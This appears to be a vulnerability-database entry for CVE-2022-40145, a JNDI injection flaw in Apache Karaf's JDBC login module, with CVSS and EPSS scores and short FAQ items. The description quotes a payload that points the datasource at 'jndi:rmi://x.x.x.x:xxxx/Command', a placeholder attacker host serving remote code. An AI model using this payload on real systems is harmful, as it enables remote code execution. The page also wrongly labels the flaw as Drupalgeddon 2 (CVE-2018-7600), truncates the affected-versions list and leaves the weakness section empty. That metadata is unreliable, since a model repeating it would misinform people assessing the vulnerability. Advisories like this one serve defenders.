Improper input validation in Apache Karaf
CVE-2022-40145
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Vulnerability class: Drupalgeddon 2 (CVE-2018-7600)
EPSS: 0.024 (83.2th percentile) — read the EPSS interpretation.
CVSS v3 metric
CVSS v3 base score 9.8 (Critical). Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
Affected products
- Apache Karaf
- Apache Software Foundation Karaf — versions 4.4.0, 0
Weakness classification (CWE)
References
- security@apache.org (vendor-advisory, Vendor Advisory)
Frequently asked questions
- What is CVE-2022-40145?
- CVE-2022-40145 is a critical-severity vulnerability in Apache Karaf, classified under Improper Input Validation. CVSS score: 9.8/10. Published 2022-12-21.
- How severe is CVE-2022-40145?
- Critical severity. CVSS v3 base score is 9.8 out of 10.